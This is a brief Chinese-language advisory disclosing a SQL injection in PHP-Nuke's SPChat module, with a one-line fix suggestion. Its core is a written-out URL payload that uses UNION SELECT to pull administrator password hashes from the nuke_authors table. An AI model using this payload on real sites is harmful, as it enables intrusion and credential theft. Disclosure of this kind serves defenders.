作者 : Pr0T3cT10n
程序开发商 : http://www.phpnuke.org
影响程序名 : PHP-Nuke module(SPChat)
版本 : All
类型 : SQL Injection
概述 :
可获取数据库里用户信息
 
缺陷：

    ## http://www.2cto.com /modules.php?op=modload&name=SPChat&file=chooser&youruid=[SQL Injection]
    ## http://www.2cto.com  /modules.php?op=modload&name=SPChat&file=chooser&youruid=0+UNION+SELECT+pwd,2,3,4,5,6,7,8+FROM+nuke_authors+LIMIT+0,1
 
注释

    需要注册用户

修复：
检测非法输入